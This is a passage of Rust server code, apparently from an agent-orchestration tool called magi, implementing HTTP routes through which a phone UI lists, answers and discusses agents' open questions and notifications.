8139                    if tx.send(event).await.is_err() {
8140                        break;
8141                    }
8142                }
8143                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
8144                    let revs = {
8145                        let guard = match state.monitor.latest.lock() {
8146                            Ok(g) => g,
8147                            Err(p) => p.into_inner(),
8148                        };
8149                        guard.as_ref().map(|(r, _)| *r)
8150                    };
8151                    if let Some(revs) = revs {
8152                        let payload = serde_json::json!({
8153                            "queue_rev": revs.0,
8154                            "runs_rev": revs.1,
8155                            "questions_rev": revs.2,
8156                            "talks_rev": revs.3,
8157                            "notifications_rev": revs.4,
8158                            "loop_rev": revs.5,
8159                        });
8160                        if let Ok(event) = Event::default().event("change").json_data(payload) {
8161                            if tx.send(event).await.is_err() {
8162                                break;
8163                            }
8164                        }
8165                    }
8166                }
8167                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
8168                    break;
8169                }
8170            }
8171        }
8172    });
8173
8174    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
8175        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
8176}
8177
8178/// Run ids under `runs`, newest first.
8179///
8180/// Rooted at an explicit directory rather than calling [`run::list_ids`],
8181/// which reads the process-global home: the server has to be drivable against
8182/// a temp directory for any of this to be testable.
8183fn run_ids(runs: &FsPath) -> Vec<String> {
8184    let mut ids: Vec<String> = std::fs::read_dir(runs)
8185        .into_iter()
8186        .flatten()
8187        .flatten()
8188        .filter(|e| e.path().join("run.json").is_file())
8189        .map(|e| e.file_name().to_string_lossy().into_owned())
8190        .collect();
8191    // Ids start with a sortable timestamp.
8192    ids.sort_unstable_by(|a, b| b.cmp(a));
8193    ids
8194}
8195
8196/// Read one run's state from an explicit runs root.
8197fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
8198    let path = runs.join(id).join("run.json");
8199    let body =
8200        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
8201    let state: RunState =
8202        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
8203    // The same migration `RunState::load` applies, so a record from the
8204    // previous schema reads here as it does everywhere else (an origin-less
8205    // run shows as "origin unknown") instead of vanishing from the phone the
8206    // moment the schema is bumped.
8207    run::migrate_schema(state)
8208}
8209
8210/// Runs on disk under `runs` whose state this build cannot parse - almost
8211/// always a schema bump, occasionally a run killed mid-write.
8212///
8213/// Exposed so every surface that reports on runs shares one count instead of
8214/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
8215/// `magi doctor` calls this directly rather than guessing at the same number
8216/// a second way.
8217#[must_use]
8218pub fn runs_unreadable(runs: &FsPath) -> usize {
8219    run_ids(runs)
8220        .into_iter()
8221        .filter(|id| read_run(runs, id).is_err())
8222        .count()
8223}
8224
8225fn plain_record_id(id: &str) -> bool {
8226    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
8227}
8228
8229/// Expand an id or short id to exactly one run id.
8230fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
8231    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
8232        return Ok(id.to_owned());
8233    }
8234    pick(run_ids(runs), id, "run")
8235}
8236
8237/// Expand an id or short id to exactly one task id.
8238fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
8239    if plain_record_id(id) && queue.path_of(id).is_file() {
8240        return Ok(id.to_owned());
8241    }
8242    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
8243    pick(ids, id, "task")
8244}
8245
8246/// A question as the phone reads it.
8247///
8248/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
8249/// text already parsed into a node tree so the client never runs its own
8250/// markdown reader over agent-authored prose. A relative image path in it
8251/// resolves against this question's own panel asset route, which is the one
8252/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
8253/// separate, sandboxed document, but `detail` is rendered inline in the
8254/// operator's own page, so an image reference in it may only ever point at
8255/// files magi itself already serves for this question.
8256#[derive(Debug, Serialize)]
8257struct QuestionView {
8258    can_answer: bool,
8259    /// Imported consent remains history even while its effect is uncertain.
8260    history_only: bool,
8261    choice_effects: std::collections::BTreeMap<String, String>,
8262    record_revision: String,
8263    #[serde(flatten)]
8264    question: Question,
8265    detail_md: Vec<md::Node>,
8266    posting_view: Option<PostingView>,
8267    /// Each thread turn's body, parsed; same order as `question.thread`.
8268    thread_bodies_md: Vec<Vec<md::Node>>,
8269    /// Each thread turn's deputy note, parsed (`None` for a turn without
8270    /// one); same order as `question.thread`.
8271    thread_notes_md: Vec<Option<Vec<md::Node>>>,
8272    /// Is the ball in the agent's court right now?
8273    ///
8274    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
8275    /// [`Question::say`] - so this is the one field that tells the phone to
8276    /// disable the answer controls and show "waiting for the agent" instead of
8277    /// a card the owner can act on. Computed rather than stored on
8278    /// [`Question`] itself, on the same reasoning as `waiting` on
8279    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
8280    /// it here means the client never has to re-derive that rule.
8281    waiting_on_agent: bool,
8282    /// Who is waiting on this open question - see [`holder_of`]. Separate
8283    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
8284    /// anyone is there to take it.
8285    holder: Option<&'static str>,
8286    /// Whether `magi serve` can start a follow-up agent for a conductor
8287    /// question at all: false when `daemon.max_deputies = 0` or the config is
8288    /// unreadable. Separate from `holder`, which says who is listening now.
8289    deputies_enabled: bool,
8290    /// All starts were spent and no live holder remains. Display-only: the
8291    /// final attempt increments `starts` before running under its lease.
8292    deputy_exhausted: bool,
8293    text_delivery: crate::question_delivery::Availability,
8294    /// `question.run` is a task id (conductor / triage questions), not a run
8295    /// id, so the UI links it to the task page.
8296    run_is_task: bool,
8297    /// The existing chat this question's task came from, including settled
8298    /// questions - see [`crate::consult::associated_talk`].
8299    origin_chat: Option<String>,
8300    /// `origin_chat` is closed; consulting reopens it first.
8301    origin_chat_closed: bool,
8302    /// Consultation eligibility is separate from navigation to the chat.
8303    can_consult_chat: bool,
8304}
8305
8306#[derive(Debug, Serialize)]
8307struct PostingView {
8308    before_md: Vec<md::Node>,
8309    after_md: Vec<md::Node>,
8310    fields: Vec<crate::github_text::ComparisonView>,
8311}
8312
8313fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
8314    let comparison = question.posting_comparison.as_ref()?;
8315    if !comparison.matches_detail(&question.detail) {
8316        return None;
8317    }
8318    let mut ids = std::collections::BTreeSet::new();
8319    if comparison.fields.is_empty()
8320        || comparison
8321            .fields
8322            .iter()
8323            .flat_map(|f| &f.pairs)
8324            .any(|p| !ids.insert(p.id))
8325        || comparison
8326            .fields
8327            .iter()
8328            .flat_map(|f| &f.original_triggers)
8329            .any(|t| !ids.insert(t.id))
8330    {
8331        return None;
8332    }
8333    let fields = comparison
8334        .fields
8335        .iter()
8336        .map(|f| f.view(comparison.excerpt))
8337        .collect::<Option<Vec<_>>>()?;
8338    Some(PostingView {
8339        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
8340        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
8341        fields,
8342    })
8343}
8344
8345impl QuestionView {
8346    /// The view of `question`, reading who is waiting on it from `store`.
8347    ///
8348    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8349    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8350        let base = md::ImageBase::QuestionPanel {
8351            id: question.id.clone(),
8352        };
8353        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8354        Self {
8355            can_answer: question.can_answer(),
8356            history_only: store.held_reply(&question.id),
8357            choice_effects: question
8358                .choices
8359                .iter()
8360                .filter_map(|c| {
8361                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8362                })
8363                .collect(),
8364            record_revision: question_record_revision(&question),
8365            detail_md: md::to_nodes(&question.detail, &base),
8366            posting_view: posting_view(&question, &base),
8367            thread_bodies_md: question
8368                .thread
8369                .iter()
8370                .map(|t| md::to_nodes(&t.body, &base))
8371                .collect(),
8372            thread_notes_md: question
8373                .thread
8374                .iter()
8375                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8376                .collect(),
8377            deputy_exhausted: store.deputy_exhausted(&question),
8378            waiting_on_agent: question.waiting_on_agent(),
8379            holder,
8380            deputies_enabled: deputies_enabled(cfg, &question),
8381            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8382            run_is_task: question.run_names_task(),
8383            origin_chat: None,
8384            origin_chat_closed: false,
8385            can_consult_chat: false,
8386            question,
8387        }
8388    }
8389
8390    /// Fill `origin_chat` from the queue and the talks.
8391    fn with_origin(
8392        mut self,
8393        tasks: &[crate::queue::Task],
8394        talks: &[Talk],
8395        watches: &[crate::release_watch::WatchState],
8396    ) -> Self {
8397        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8398        self.can_consult_chat = consult.is_some();
8399        let talk =
8400            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8401        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8402        self.origin_chat = talk.map(|t| t.id);
8403        self
8404    }
8405}
8406
8407/// The config this repository resolves, or `None` when it cannot be read.
8408/// Discovering is git processes plus a config render, so a request that needs
8409/// it for many items takes it once and passes it down.
8410fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8411    Config::discover(repo, None).ok().map(|(c, _)| c)
8412}
8413
8414/// Can `magi serve` start a deputy for this question under `cfg`?
8415fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8416    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8417}
8418
8419/// The views `GET /api/questions` answers. `load` runs at most once, however
8420/// many questions there are, and not at all when there are none.
8421fn question_views(
8422    qs: Vec<Question>,
8423    store: &ask::Questions,
8424    load: impl FnOnce() -> Option<Config>,
8425) -> Vec<QuestionView> {
8426    if qs.is_empty() {
8427        return Vec::new();
8428    }
8429    let cfg = load();
8430    qs.into_iter()
8431        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8432        .collect()
8433}
8434
8435/// Who is honestly waiting on an open question right now: `"asker"` (the
8436/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8437/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8438/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8439/// up, or the question never had anyone listening (a conductor question or a
8440/// merge approval from before deputies, or not yet given one).
8441///
8442/// `None` for a question that is settled, and for one that is not an agent's
8443/// to wait on at all (a release notice).
8444fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8445    if !q.status.open() {
8446        return None;
8447    }
8448    if q.cwd.is_none()
8449        && q.deputy.is_none()
8450        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8451    {
8452        return crate::deputy::kind_of(q).map(|_| "nobody");
8453    }
8454    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8455        Some(_) if q.deputy.is_some() => "deputy",
8456        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8457        Some(_) => "asker",
8458        None => "nobody",
8459    })
8460}
8461
8462/// `GET /api/questions`.
8463///
8464/// Everything, not just the open ones: an answered question is the record of a
8465/// decision, and the phone is where the operator goes back to check what they
8466/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8467#[derive(serde::Serialize)]
8468struct DecisionView {
8469    id: String,
8470    task: String,
8471    run: Option<String>,
8472    chat: Option<String>,
8473    display: String,
8474    delivery_error: Option<String>,
8475    decision: crate::task_decision::Decision,
8476    attention: crate::task_decision::Attention,
8477    next_step: &'static str,
8478    last_observation: Option<String>,
8479}
8480
8481impl DecisionView {
8482    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8483        let attention = inquiry.attention()?;
8484        let last_observation = inquiry
8485            .decision
8486            .as_ref()?
8487            .last_observation
8488            .as_ref()
8489            .map(|o| o.describe());
8490        Some(Self {
8491            id: inquiry.id,
8492            task: inquiry.task,
8493            run: inquiry.run,
8494            chat: inquiry.delivered_to,
8495            display: inquiry.display,
8496            delivery_error: inquiry.delivery_error,
8497            decision: inquiry.decision?,
8498            attention,
8499            next_step: match attention {
8500                crate::task_decision::Attention::OwnerChoice => {
8501                    "Discuss the choice in the owning chat."
8502                }
8503                crate::task_decision::Attention::ReceiptCheck => {
8504                    "Check durable receipts before retrying; do not replay the request."
8505                }
8506                crate::task_decision::Attention::InFlight => {
8507                    "Wait for the effect or execution-start receipt."
8508                }
8509                crate::task_decision::Attention::ReleaseFollowup => {
8510                    "Inspect the remaining release work independently of the original merge."
8511                }
8512                crate::task_decision::Attention::StaleTarget => {
8513                    "Inspect the changed or closed target; do not approve an old head."
8514                }
8515                crate::task_decision::Attention::Resolved => {
8516                    "Inspect the recorded closure reason in history."
8517                }
8518            },
8519            last_observation,
8520        })
8521    }
8522}
8523
8524#[derive(serde::Serialize)]
8525struct DecisionsView {
8526    items: Vec<DecisionView>,
8527    unreadable: usize,
8528    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8529}
8530
8531// Read-only: list visits and inquiry links never create owner decisions,
8532// delivery receipts or effect acknowledgements.
8533async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8534    blocking(move || {
8535        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8536        let mut views: Vec<_> = items
8537            .into_iter()
8538            .filter_map(DecisionView::from_inquiry)
8539            .collect();
8540        views.sort_by_key(|view| {
8541            (
8542                view.decision.status == crate::task_decision::Status::Resolved,
8543                view.id.clone(),
8544            )
8545        });
8546        Ok(Json(DecisionsView {
8547            items: views,
8548            unreadable,
8549            migration_errors: crate::task_chat::migration_issues(&ui.home),
8550        }))
8551    })
8552    .await
8553}
8554
8555async fn decision_get(
8556    State(ui): State<Arc<Ui>>,
8557    Path(id): Path<String>,
8558) -> ApiResult<Json<DecisionView>> {
8559    blocking(move || {
8560        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8561        DecisionView::from_inquiry(inquiry)
8562            .map(Json)
8563            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8564    })
8565    .await
8566}
8567
8568async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8569    blocking(move || {
8570        let questions = ui.questions.list();
8571        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8572        Ok(Json(
8573            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8574                .into_iter()
8575                .map(|view| view.with_origin(&tasks, &talks, &watches))
8576                .collect(),
8577        ))
8578    })
8579    .await
8580}
8581
8582/// Question content and answer controls never wait for task/chat provenance.
8583async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8584    blocking(move || {
8585        Ok(Json(question_views(
8586            ui.questions.list(),
8587            &ui.questions,
8588            || deputy_config(&ui.repo),
8589        )))
8590    })
8591    .await
8592}
8593
8594fn question_record_revision(question: &Question) -> String {
8595    use std::hash::{Hash as _, Hasher as _};
8596    let mut hash = std::hash::DefaultHasher::new();
8597    serde_json::to_vec(question)
8598        .expect("serializable question")
8599        .hash(&mut hash);
8600    format!("{:016x}", hash.finish())
8601}
8602
8603#[derive(Serialize)]
8604struct QuestionOriginView {
8605    id: String,
8606    record_revision: String,
8607    origin_chat: Option<String>,
8608    origin_chat_closed: bool,
8609    can_consult_chat: bool,
8610}
8611
8612async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8613    blocking(move || {
8614        let questions = ui.questions.list();
8615        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8616        Ok(Json(
8617            questions
8618                .into_iter()
8619                .map(|question| {
8620                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8621                    let can_consult_chat = consult.is_some();
8622                    let talk = crate::consult::associated_talk_with_watches(
8623                        &tasks, &talks, &question, &watches,
8624                    );
8625                    QuestionOriginView {
8626                        record_revision: question_record_revision(&question),
8627                        id: question.id,
8628                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8629                        origin_chat: talk.map(|talk| talk.id),
8630                        can_consult_chat,
8631                    }
8632                })
8633                .collect(),
8634        ))
8635    })
8636    .await
8637}
8638
8639type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8640
8641/// Only the task ancestry and chats these questions actually reference. Run
8642/// mappings share the reconciled queue index; exact task references bypass it.
8643/// No question means no task/chat I/O, including no index reconciliation.
8644fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8645    fn task_for_run(
8646        ui: &Ui,
8647        index: &mut Option<Vec<Arc<TaskRelation>>>,
8648        run: &str,
8649        loaded: &HashMap<String, Task>,
8650    ) -> ApiResult<Option<Task>> {
8651        if !plain_record_id(run) {
8652            return Ok(None);
8653        }
8654        if index.is_none() {
8655            *index = Some(ui.indexed_tasks()?);
8656        }
8657        Ok(index
8658            .as_ref()
8659            .expect("loaded index")
8660            .iter()
8661            .find(|task| task.runs.iter().any(|id| id == run))
8662            .and_then(|task| {
8663                loaded
8664                    .get(&task.id)
8665                    .cloned()
8666                    .or_else(|| ui.queue.get(&task.id).ok())
8667            })
8668            .filter(|task| task.runs.iter().any(|id| id == run)))
8669    }
8670    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8671        plain_record_id(id)
8672            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8673            .flatten()
8674            .filter(|task| task.id == id)
8675    };
8676    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8677    let mut index = None;
8678    let mut tasks = HashMap::new();
8679    let mut talks = HashMap::new();
8680    for question in questions {
8681        for reference in crate::consult::question_task_refs(question, &watches) {
8682            let mut current = match reference {
8683                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8684                crate::consult::QuestionTaskRef::Run(id) => {
8685                    task_for_run(ui, &mut index, id, &tasks)?
8686                }
8687            };
8688            let mut seen = HashSet::new();
8689            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8690                let Some(task) = current.take() else {
8691                    break;
8692                };
8693                if !seen.insert(task.id.clone()) {
8694                    break;
8695                }
8696                let chat = task.chat_talk().map(str::to_owned);
8697                let followup = task.followup.clone();
8698                tasks.insert(task.id.clone(), task);
8699                if let Some(chat) = chat {
8700                    if plain_record_id(&chat)
8701                        && !talks.contains_key(&chat)
8702                        && let Ok(talk) = ui.talks.get(&chat)
8703                    {
8704                        talks.insert(chat, talk);
8705                    }
8706                    break;
8707                }
8708                let Some(followup) = followup else {
8709                    break;
8710                };
8711                current = match followup.origin_task {
8712                    Some(id) => direct_task(&id, &tasks),
8713                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8714                };
8715            }
8716        }
8717    }
8718    let mut tasks: Vec<Task> = tasks.into_values().collect();
8719    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8720    Ok((tasks, talks.into_values().collect(), watches))
8721}
8722
8723/// `GET /api/notifications`: not dismissed, newest first, with the unread
8724/// count so the badge and the list cannot disagree.
8725async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8726    blocking(move || {
8727        let items = ui.notices.list();
8728        let unread = items.iter().filter(|n| n.unread()).count();
8729        let items: Vec<_> = items
8730            .into_iter()
8731            .map(|n| {
8732                let question = crate::notices::answerable_question(&n, &ui.questions);
8733                let mut item = serde_json::to_value(n)?;
8734                item["answerable_question"] = serde_json::json!(question);
8735                Ok(item)
8736            })
8737            .collect::<anyhow::Result<_>>()?;
8738        Ok(Json(
8739            serde_json::json!({ "unread": unread, "items": items }),
8740        ))
8741    })
8742    .await
8743}
8744
8745fn notice_error(e: anyhow::Error) -> ApiError {
8746    // An unknown or malformed id and a vanished file are the same answer to
8747    // the phone: that notification is gone.
8748    ApiError::not_found(format!("{e:#}"))
8749}
8750
8751/// `POST /api/notifications/{id}/read`.
8752async fn notification_read(
8753    State(ui): State<Arc<Ui>>,
8754    Path(id): Path<String>,
8755) -> ApiResult<Json<Notice>> {
8756    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8757}
8758
8759/// `POST /api/notifications/{id}/dismiss`.
8760async fn notification_dismiss(
8761    State(ui): State<Arc<Ui>>,
8762    Path(id): Path<String>,
8763) -> ApiResult<Json<Notice>> {
8764    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8765}
8766
8767/// `POST /api/notifications/read-all`.
8768async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8769    blocking(move || {
8770        let changed = ui.notices.mark_all_read()?;
8771        Ok(Json(serde_json::json!({ "marked": changed })))
8772    })
8773    .await
8774}
8775
8776/// The body of `POST /api/questions/{id}/answer`.
8777///
8778/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8779/// a bad request rather than a guess: an answer magi invented is worse than a
8780/// question left open.
8781#[derive(Debug, Default, Deserialize)]
8782#[serde(default, deny_unknown_fields)]
8783struct NewAnswer {
8784    choice: Option<String>,
8785    text: Option<String>,
8786    talk: Option<String>,
8787    head: Option<String>,
8788}
8789
8790async fn question_answer(
8791    State(ui): State<Arc<Ui>>,
8792    Path(id): Path<String>,
8793    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8794) -> ApiResult<Json<QuestionView>> {
8795    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8796    let answer = match (body.choice, body.text) {
8797        (Some(c), None) => Answer::Choice(c),
8798        (None, Some(t)) => Answer::Text(t),
8799        (Some(_), Some(_)) => {
8800            return Err(ApiError::bad_request(
8801                "send either `choice` or `text`, not both",
8802            ));
8803        }
8804        (None, None) => {
8805            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8806        }
8807    };
8808
8809    blocking(move || {
8810        let id = resolve_question(&ui.questions, &id)?;
8811        let q = ui
8812            .questions
8813            .get(&id)
8814            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8815        if !q.can_answer() {
8816            // Answered from the terminal, or by another phone, in between the
8817            // list and the tap. The UI shows the recorded answer rather than an
8818            // error, so it needs the record, not just the status.
8819            return Err(ApiError::conflict(format!(
8820                "question {} is already {}",
8821                q.short(),
8822                q.status.as_str()
8823            )));
8824        }
8825        // `Question::answer` owns the rules - an unoffered choice, free text on
8826        // a multiple-choice question, an empty reply - so the route does not
8827        // restate them and cannot drift from the CLI's behaviour.
8828        let cfg = deputy_config(&ui.repo);
8829        let (q, ()) = ui
8830            .questions
8831            .update(&q.id, |r| {
8832                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8833                // Buttons retain their displayed chat/head binding. A direct
8834                // decision does not require a button or a prior persona offer.
8835                if r.routed_task.is_some()
8836                    && r.merge_target.is_some()
8837                    && merge
8838                    && (body.talk.is_some() || body.head.is_some())
8839                {
8840                    let talk_id = body
8841                        .talk
8842                        .as_deref()
8843                        .context("approval button requires its chat")?;
8844                    let head = body
8845                        .head
8846                        .as_deref()
8847                        .context("approval button requires the displayed head")?;
8848                    let talk = ui.talks.get(talk_id)?;
8849                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8850                    r.answer_chat_button(answer, talk_id, head)
8851                } else {
8852                    r.answer(answer)
8853                }
8854            })
8855            .map_err(ApiError::bad_request_from)?;
8856        let (tasks, talks, watches) =
8857            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8858        Ok(Json(
8859            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8860        ))
8861    })
8862    .await
8863}
8864
8865/// A dedicated status avoids the client's settled-question 409 handling.
8866fn question_text_error(e: anyhow::Error) -> ApiError {
8867    let reason = e
8868        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8869        .map(|e| e.reason);
8870    let error = ApiError::bad_request_from(e);
8871    if let Some(reason) = reason {
8872        ApiError {
8873            text_reason: Some(reason),
8874            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8875        }
8876    } else {
8877        error
8878    }
8879}
8880
8881/// The body of `POST /api/questions/{id}/say`.
8882#[derive(Debug, Deserialize)]
8883#[serde(deny_unknown_fields)]
8884struct NewSay {
8885    body: String,
8886}
8887
8888/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8889///
8890/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8891/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8892/// file, so there is no turn to serialize against and no
8893/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8894/// is a *different* process - the run parked behind `magi ask` - and picks
8895/// the reply up on its own poll of the very same file, same as an answer
8896/// does.
8897async fn question_say(
8898    State(ui): State<Arc<Ui>>,
8899    Path(id): Path<String>,
8900    body: std::result::Result<Json<NewSay>, JsonRejection>,
8901) -> ApiResult<Json<QuestionView>> {
8902    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8903    blocking(move || {
8904        let id = resolve_question(&ui.questions, &id)?;
8905        let q = ui
8906            .questions
8907            .get(&id)
8908            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8909        if !q.status.open() {
8910            // Same granularity as `question_answer`: answered or abandoned in
8911            // between the list and the tap is not this route's error to
8912            // explain any differently.
8913            return Err(ApiError::conflict(format!(
8914                "question {} is already {}",
8915                q.short(),
8916                q.status.as_str()
8917            )));
8918        }
8919        // `Question::say` owns the one rule that matters here - an empty
8920        // message tells the agent nothing - so the route does not restate it.
8921        let cfg = deputy_config(&ui.repo);
8922        let (q, ()) = ui
8923            .questions
8924            .update(&q.id, |r| {
8925                if body.body.trim().is_empty() {
8926                    return r.say(body.body);
8927                }
8928                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8929                r.say(body.body)
8930            })
8931            .map_err(question_text_error)?;
8932        let (tasks, talks, watches) =
8933            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8934        Ok(Json(
8935            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8936        ))
8937    })
8938    .await
8939}
8940
8941/// A disconnected request or a replacing listener cannot interrupt the short
8942/// transaction between persistence and detached worker publication.
8943async fn admitted<T: Send + 'static>(
8944    admission: AdmissionGuard,
8945    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8946) -> ApiResult<T> {
8947    tokio::spawn(async move {
8948        let result = work.await;
8949        drop(admission);
8950        result
8951    })
8952    .await
8953    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8954}
8955
8956/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8957/// came from. The question stays open: the chat agent answers it with `magi
8958/// answer`, or puts the decision to the owner in the conversation.
8959///
8960/// Answers 202 and runs the turn in the background, like every route that
8961/// spends agent calls. The text is queued as a draft of the existing talk, and
8962/// the turn goes through the talk's own gate and session; no seat or waiter is
8963/// started here.
8964async fn question_consult(
8965    State(ui): State<Arc<Ui>>,
8966    Path(id): Path<String>,
8967) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8968    let admission = ui.begin_admission()?;
8969    admitted(admission, async move {
8970        let (q, tasks, talks, watches, talk, cfg) = blocking({
8971            let ui = Arc::clone(&ui);
8972            move || {
8973                let id = resolve_question(&ui.questions, &id)?;
8974                let q = ui.questions.get(&id).map_err(|e| {
8975                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8976                })?;
8977                if !q.status.open() {
8978                    return Err(ApiError::conflict(format!(
8979                        "question {} is already {}",
8980                        q.short(),
8981                        q.status.as_str()
8982                    )));
8983                }
8984                let (tasks, talks, watches) =
8985                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8986                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8987                    return Err(ApiError::conflict(format!(
8988                        "question {} has no chat to ask",
8989                        q.short()
8990                    )));
8991                };
8992                // Read the config before `begin` saves anything: a failure here
8993                // must leave no consult record or draft behind, or a retry would
8994                // see `fresh == false` and never start the turn.
8995                let cfg = if q.consult.is_none() {
8996                    Some(talk.config()?)
8997                } else {
8998                    None
8999                };
9000                Ok((q, tasks, talks, watches, talk, cfg))
9001            }
9002        })
9003        .await?;
9004        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
9005            .await
9006            .map_err(ApiError::from)?;
9007        let (view, reclaimed, submitted) = blocking({
9008            let ui = Arc::clone(&ui);
9009            move || {
9010                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
9011                let claim = if fresh {
9012                    match ui.begin_queued_talk_turn(&talk.id)? {
9013                        Some(turn_guard) => {
9014                            let talk = ui.talks.get(&talk.id)?;
9015                            let cfg = match cfg {
9016                                Some(cfg) => cfg,
9017                                None => talk.config()?,
9018                            };
9019                            Some((talk, cfg, turn_guard))
9020                        }
9021                        None => None,
9022                    }
9023                } else {
9024                    None
9025                };
9026                let q = ui.questions.get(&q.id)?;
9027                let cfg = deputy_config(&ui.repo);
9028                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
9029                    .with_origin(&tasks, &talks, &watches);
9030                Ok((view, claim, fresh.then_some(talk.id)))
9031            }
9032        })
9033        .await?;
9034        #[cfg(not(test))]
9035        {
9036            if let Some(id) = submitted {
9037                crate::chat_worker::spawn_turn(&ui.talks, &id)
9038                    .await
9039                    .map_err(ApiError::from)?;
9040            }
9041            drop(reclaimed);
9042        }
9043        #[cfg(test)]
9044        let _ = submitted;
